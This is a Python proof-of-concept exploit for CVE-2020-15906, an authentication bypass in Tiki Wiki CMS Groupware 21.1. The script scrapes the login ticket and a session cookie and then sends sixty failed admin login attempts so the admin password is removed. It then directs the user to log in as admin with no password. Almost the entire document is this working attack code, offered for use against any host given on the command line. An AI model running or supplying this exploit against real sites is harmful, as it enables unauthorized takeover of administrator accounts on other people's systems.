# Exploit Title: Tiki Wiki CMS Groupware 21.1 - Authentication Bypass # Date: 01.08.2020 (1st August 2020) # Exploit Author: Maximilian Barz aka. Silky # Vendor Homepage: tiki.org # Software Link: https://jztkft.dl.sourceforge.net/project/tikiwiki/Tiki_21.x_UY_Scuti/21.1/tiki-21.1.zip # Version: 21.1 # Tested on: Kali Linux 5.7.0-kali1-amd64 #!/usr/bin/env/python3 import requests import json import lxml.html import sys banner = ''' ████████ ██ ██  ██ ██ ██  ██ ██ ██  ██ ██  ██████  ██  ██     ██    ██ ██  ██  ██ ██  ██ ██ ██  ██  ██       ██ ███  ███  ██  ██ █████   ██ ██  █  ██ ██ █████   ██  █████   ██   ██  ██  ██ ██  ██  ██ ██ ███ ██ ██ ██  ██  ██  ██      ██  ██  ██  ██ ██  ██ ██  ███ ███  ██ ██  ██ ██  ███████  ██ ██ ██                                                              █████  ██  ██ ████████ ██  ██ ███████ ███  ██ ████████ ██  ██████  █████  ████████ ██  ██████  ███  ██  ██████  ██  ██ ██████  █████  ███████ ███████  ██   ██ ██  ██    ██    ██  ██ ██      ████  ██    ██    ██ ██      ██   ██    ██    ██ ██    ██ ████  ██  ██   ██  ██  ██  ██   ██ ██   ██ ██      ██       ███████ ██  ██  ██  ███████ █████  ██ ██  ██  ██  ██ ██  ███████  ██  ██ ██  ██ ██ ██  ██  ██████    ████   ██████  ███████ ███████ ███████  ██   ██ ██  ██  ██  ██   ██ ██     ██  ██ ██  ██  ██ ██  ██   ██  ██  ██ ██  ██ ██  ██ ██  ██   ██   ██   ██      ██   ██      ██      ██  ██  ██  ██████   ██  ██  ██ ███████ ██   ████  ██  ██  ██████ ██  ██  ██  ██  ██████  ██   ████   ██████   ██  ██  ██  ██ ███████ ███████                                                                                                                                               Poof of Concept for CVE-2020-15906 by Maximilian Barz, Twitter: S1lky_1337 ''' def main(): if(len(sys.argv) < 2): print(banner) print("Usage: %s <host> " % sys.argv[0]) print("Eg: %s 1.2.3.4 " % sys.argv[0]) return rhost = sys.argv[1] url = "http://"+rhost+"/tiki/tiki-login.php" session = requests.Session() def get_ticket(): r = requests.get(url) login_page = r.text.encode('utf-8') html = lxml.html.fromstring(login_page) auth = html.xpath('//input[@name="ticket"]/@value') return str(auth)[2:-2] def get_cookie(): session.get(url) return session.cookies.get_dict() cookie = get_cookie() ticket = get_ticket() payload = {'ticket': ticket,'user':'admin', 'pass':'test','login':'','stay_in_ssl_mode_present':'y','stay_in_ssl_mode':'n'} headers = { 'Host': rhost, 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzrhost, deflate', 'Referer': 'http://'+rhost+'/tiki/tiki-login.php', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '125', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0', } for i in range(60): r = session.post(url, payload, headers) if("Account requires administrator approval." in r.text): print("Admin Password got removed.") print("Use BurpSuite to login into admin without a password ") if(__name__ == '__main__'): main()